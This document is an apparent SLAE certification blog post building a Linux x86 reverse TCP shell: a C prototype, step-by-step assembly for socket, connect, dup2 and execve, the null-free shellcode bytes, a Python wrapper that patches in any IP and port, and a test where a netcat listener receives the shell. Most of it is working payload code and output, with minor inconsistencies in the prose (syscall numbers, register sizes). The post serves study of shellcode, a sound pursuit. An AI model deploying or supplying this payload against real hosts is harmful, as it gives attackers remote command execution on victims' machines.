SLAE Assignment 2 – TCP Reverse Shell

12 minute read

Introduction

The second SLAE assignment is to develop shellcode for a reverse TCP shell. What is a reverse TCP shell? According to Infosec Institute, a reverse shell is “a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.”

After spending so much overhead on the last assignment learning how to format socket programming arguments and how to research them, I found this assignment to be much easier. It also helps that over 90% of the code was reused from the last assignment! I am not a professional programmer, I apologize for any socket programming concepts I butchered in my explanations.

Prototype

The first thing we want to do, in order to see the syscalls required to support the creation of a reverse shell, is find the simplest implementation of a reverse shell in a language higher than assembly. After a bit of googling, the simplest version of a reverse shell in C that I could find is the following, with my comments added:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;
    //creating our struct
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);
    //first syscall socket
    s = socket(AF_INET, SOCK_STREAM, 0);
    //second syscall connect
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    //third syscall dup2
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);
    
    //final syscall execve
    execve("/bin/sh", 0, 0);
    return 0;
}

After confirming that the code does indeed work by setting the REMOTE_ADDR to “127.0.0.1” and the port to 443 and trying it on my Kali machine, it’s become apparent we need to execute 4 syscalls in our assembly code:

  • socket
  • connect
  • dup2
  • execve

The syscalls I’ve highlighted, we already have code for from Assignment #1. Connect actually behaves very similarly to bind, with pretty much the only difference being we won’t be specifying a local interface IP address but rather a remote IP address so it’s unlikely to be 0.0.0.0 in our reverse shell code.

Building Our Assembly Code

Assembly Skeleton Code

global_start

section .txt
_start:

The first thing we want to do is to clear out the registers we’re going to use immediately. How do we know what registers we want to use? You can think of your syscall as something like an argv[0] in a command line program. So that’s always going to correspond with the first register, EAX. Subsequent arguments will follow sequentially: argv[1] will correspond to EBX, argv[2] will correspond to ECX, etc.

If we consult man 2 socket for our first syscall, socket, we see that it takes 3 arguments in the following fashion:int socket(int domain, int type, int protocol);

So counting the syscall itself and its 3 arguments, we need to clear the first 4 registers so that we can work with those. Let’s clear them by XOR’ing them with themselves so that we clear them in a way that does not introduce NULL BYTEs into our shellcode.

global_start

section .txt
_start: 
  
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

Socket Syscall

Let’s now figure out what we’re going to put into EAX to call socket. We can do this with a cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket which tells us that the code for socket is 359. Popping 359 as decimal into a hex converter tells us that the hex equivalent is 0x167, so let’s place that in the low space of EAX so as to not introduce any NULL BYTEs with padding.

    mov al, 0x167

Now let’s start with the arguments. man 2 socket tells us that the first argument is int domain which we see in the man page is AF_INET for IPv4. Let’s just google ‘value for AF_INET’ and see what value we should use in the argument. Our first result is a university webpage which looks to be a header file explaining not only the value of AF_INET but also of SOCK_STREAM which is going to be our second value to satisfy the int type argument. According to the file, AF_INET is 2 and SOCK_STREAM is 1 (0x02 and 0x01) respectively. The last argument value for int protocol is going to be ‘0’ according to the man page. So we need the following register and value combinations:

  • EBX == 0x02
  • ECX == 0x01
  • EDX == 0

Let’s make these changes to our assembly code. If you remember, we already cleared EDX, so our zero value is already accounted for, so need to mess with that register at all.

    mov bl, 0x02
    mov cl, 0x01

Next we need to pass control to the interrupt vector in order to handle our syscall (socket).

    int 0x80

Lastly, before moving on, we will need a way to identify this socket we’ve just created to subsequent systemcalls. We can do this by storing the value of EAX off to the side so that we can reference it later and still use EAX in our subsequent systemcalls. I chose to store this value in EDI as EDI is pretty far down our list of registers we’d fill arguments with, no idea if this makes sense, but it worked!

    mov edi, eax

Connect Syscall

First thing we want to do here is clear out EAX so that we can put the value of our connect call into the lower part of the register as we did above with socket. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep connect gives us a value of 362 which is 0x169

Let’s make these changes to our code

    xor eax, eax
    mov al, 0x16a

Now we need to consult man 2 connect to figure out the structure of the arguments this syscall requires. The result is int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

These arguments can be summarized at a high-level as follows:

  • int sockfd – this is a reference to the socket we just created, this is why we moved EAX into EDI
  • const struct sockaddr *addr – this is a pointer to the location on the stack of the sockaddr struct we are going to create
  • socklen_t addrlen – this is the length of the address which the /usr/include/linux/in.h file tells us is 16

Let’s start with satisfying the int sockfd argument.

    mov ebx, edi

Now, let’s start creating our sockaddr struct on the stack. A sockets programming tutorial tells us that the sockaddr_in struct for the connect syscall consists of the following 4 components:

  • AF_INET
  • Port Number
  • Internet address (IP)
  • 0

Let’s start moving these values into the registers. Our port number will be 5555 and our internet address will be 0.0.0.0

Because the stack grows from High to Low, we will have to place these arguments onto the stack in reverse order. We will also have to put our port number in Little Endian format, so instead of 0x15b3, we will place 0xb315 onto the stack. We will also have to push our IP address onto the stack in reverse order so instead of 127.0.0.1, we will require 1.0.0.127. First let’s push our 0 onto the stack with a cleared out ECX.

    xor ecx, ecx
    push ecx

Now it’s time to confront the NULL BYTE demon. We want to push 1.0.0.127 onto the stack but we cannot call 0’s explicitly as this will result in NULL BYTEs in our shellcode. A work around can be to move 2.1.1.128 into a register and then subtract 1.1.1.1 from the register to end up at our desired 1.0.0.127. Let’s do that now.

    mov ecx, 0x02010180
    sub ecx, 0x01010101

Now we push ECX onto the stack and continue on as we did in Assignment #1 for pretty much the rest of our assembly code.

    push ecx
    push word 0xb315
    push word 0x02

Boom! Struct completed. Let’s put the pointer to this entity into the ECX register so that we can satisfy our const struct sockaddr *addr argument. We’ll also put 16 into the low part of the EDX register and call the interrupt again while we’re here since that’s easy enough.

    mov ecx, esp
    mov dl, 16
    int 0x80

Dup2 Syscall

If we reference our C prototype, we see that the dup2 call is iterating 3 times in order to duplicate into our accepted connection the STDIN (0), STDOUT (1), and STDERR (2) file descriptors which makes the connection interactive for the user. cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep dup2 gives a syscall code of 63 (0x3f).

Since we’re iterating through this call 3 times, we’ll need to set up a loop. We can utilize ECX for this as it’s known as the ‘counter register.’ We’ll place a value of 3 into the lower part of ECX and have our loop iterate as long as the zero flag is not set with a jnz op code. So as long as the zero flag is not set, which is to say that ECX hasn’t been decremented to zero, our code will jump back up to the beginning of the loop and execute it again.

All that dup2 requires for an argument is the int sockfd which was newly created in our accept syscall and stored in EDI.

    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    
    mov cl, 0x3     ; putting 3 in the counter
    
    loop_dup2:      
    xor eax, eax   
    mov al, 0x3f    ; putting the syscall code into the lower part of eax
    mov ebx, edi    
    dec cl          ; decrementing cl by one
    int 0x80
    
    jnz loop_dup2   ; jumping back to the top of loop_dup2 if the zero flag is not set

Execve Syscall

Finally, we need to tell the program what to do once everything we’ve done so far is complete. In our case, we want the program to execute /bin/sh.

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve gives us 11 (0x0b).

Let’s clear out EAX

    xor eax, eax

We will be utilizng the stack for these arguments. So we will be doing things in slightly a different order than our previous syscalls. This particular syscall requires null terminators and pointers to stack locations. Remember the stack grows from High to Low so first we need to put a terminator onto the stack.

    push eax

Next, we need to place the string /bin/sh onto the stack in reverse order. However, before we do this and in order to avoid NULL BYTEs in our shellcode, we need to make sure that the string is divisable by 4. Right now, it’s 7 characters so we add an additional character to make it an even 8. //bin/sh

    push 0x68732f6e
    push 0x69622f2f

Next, we need EBX to carry the pointer location of the entity we just created on the stack.

    mov ebx, esp

Next, we will need another zeroed out value to be pointed to for EDX, so let’s push EAX onto the stack once more and then assign the ESP to EDX.

    push eax
    mov edx, esp

Finally, ECX should point to the location of EBX. So we’ll push EBX onto the stack and then move ESP into ECX.

    push ebx
    mov ecx, esp

Now we can put our 0x0b into the lower portion of EAX and call our interrupt.

    mov al, 0x0b
    int 0x80

Completed Assembly Code

global_start

section .text
_start:

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	
	; SYS CALL #1 = socket()
	
	mov ax, 0x167
	mov bl, 0x02
	mov cl, 0x01
	
	int 0x80
	mov edi, eax

	; SYS CALL #2 = connect()

	xor eax, eax
	mov ax, 0x16a 
	mov ebx, edi
	xor ecx, ecx
	push ecx		; pushing our 8 bytes of zero as per: home.iitk.ac.in/~chebrolu/scourse/slides/sockets-tutorial.pdf
				      
	
	mov ecx, 0x02010180     ; moving 2.1.1.128 into ecx
	sub ecx, 0x01010101     ; subtracting 1.1.1.1 from ecx
	
	push ecx		      ; putting 1.0.0.127 onto the stack (null free)
	push word 0xb315	      ; port 5555
	push word 0x02		      ; AF_INET
	
	mov ecx, esp
	mov dl, 16
	
	int 0x80

	; SYSCALL #3 = dup2()

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx

	mov cl, 0x3
	
	loop_dup2:
	mov al, 0x3f
	mov ebx, edi
	dec cl
	int 0x80
	
	jnz loop_dup2

	; SYSCALL #4 = execve()
 
  	xor eax, eax
	push eax
	push 0x68732f6e
	push 0x69622f2f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 0x0b

  	int 0x80

Shellcode

To get our shellcode, we can run this nifty command objdump -d ./<PROGRAM>|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Our shellcode is:

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x89\xfb\x31\xc9\x51\xb9\x80\x01\x01\x02\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Looks to be null free!

Python Wrapper

The next criteria we have to satisfy for the assignment, is to have the shell code created dynamically with user input for an IP address and port number. I have created a python wrapper to accomplish this. NOTE: I tried to make the wrapper capabale of supporting IP address inputs with zeroes in them by using the same method we used in our assembly code; however, adding 1.1.1.1 to the user provided IP address will break the wrapper if the user inputs an address with an octet value of 255.

#!/usr/bin/python

import socket
import sys
import binascii

shell1 = ""
shell1 += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80"
shell1 += "\\x89\\xc7\\x31\\xc0\\x66\\xb8\\x6a\\x01\\x89\\xfb\\x31\\xc9\\x51\\xb9"
shell2 = ""
shell2 += "\\x81\\xe9\\x01\\x01\\x01\\x01\\x51\\x66\\x68"
shell3 = ""
shell3 += "\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10"
shell3 += "\\xcd\\x80\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb1\\x03\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd\\x80"
shell3 += "\\x75\\xf6\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50"
shell3 += "\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"

if len(sys.argv) != 3:
	print 'Usage: wrapper.py <host IP> <port>'
	exit

ip = sys.argv[1]

ip = ip.split('.')

ip1 = int(ip[0]) + 1
ip2 = int(ip[1]) + 1
ip3 = int(ip[2]) + 1
ip4 = int(ip[3]) + 1

newip = str(ip1) + '.' + str(ip2) + '.' + str(ip3) + '.' + str(ip4)

newHex = binascii.hexlify(socket.inet_aton(newip))

newHex = "\\x" + str(newHex)[0:2] + "\\x" + str(newHex)[2:4] + "\\x" + str(newHex)[4:6] + "\\x" + str(newHex)[6:8]

portNumber = sys.argv[2]
portNumber = int(portNumber)
portNumber = socket.htons(portNumber)
portNumber = hex(portNumber)

portNum1 = portNumber[2:4]
portNum2 = portNumber[4:6]

portNum1 = str(portNum1)
portNum1 = "\\x" + portNum1

portNum2 = str(portNum2)
portNum2 = "\\x" + portNum2

combined = portNum2 + portNum1

shell = shell1 + newHex + shell2 + combined + shell3

		
print shell

Let’s test out our wrapper!

SLAE@ubuntu:~/SLAE/Exam$ python wrapper.py 192.168.1.188 1234
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x89\xfb\x31\xc9\x51\xb9\xc1\xa9\x02\xbd\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Now, we paste this shellcode into our shellcode.c program

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x6a\x01\x89\xfb\x31\xc9\x51\xb9\xc1\xa9\x02\xbd\x81\xe9\x01\x01\x01\x01\x51\x66\x68\x04\xd2\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Final Testing

I set up a netcat listener on my Kali machine at 192.168.1.188 and then compiled the shellcode.c program with gcc -fno-stack-protector -z execstack -m32 shellcode.c -o rev_shell and ran ./rev_shell

SLAE@ubuntu:~/SLAE/Exam$ ./rev_shell
Shellcode Length:  99
root@kali:~/petprojects# nc -lvp 1234
listening on [any] 1234 ...
192.168.1.192: inverse host lookup failed: Unknown host
connect to [192.168.1.188] from (UNKNOWN) [192.168.1.192] 57324
id
uid=1000(SLAE) gid=1000(SLAE) groups=1000(SLAE),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
pwd
/home/SLAE/SLAE/Exam

It works!!

Github Repo

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1458

You can find all of the code used in this blog post here.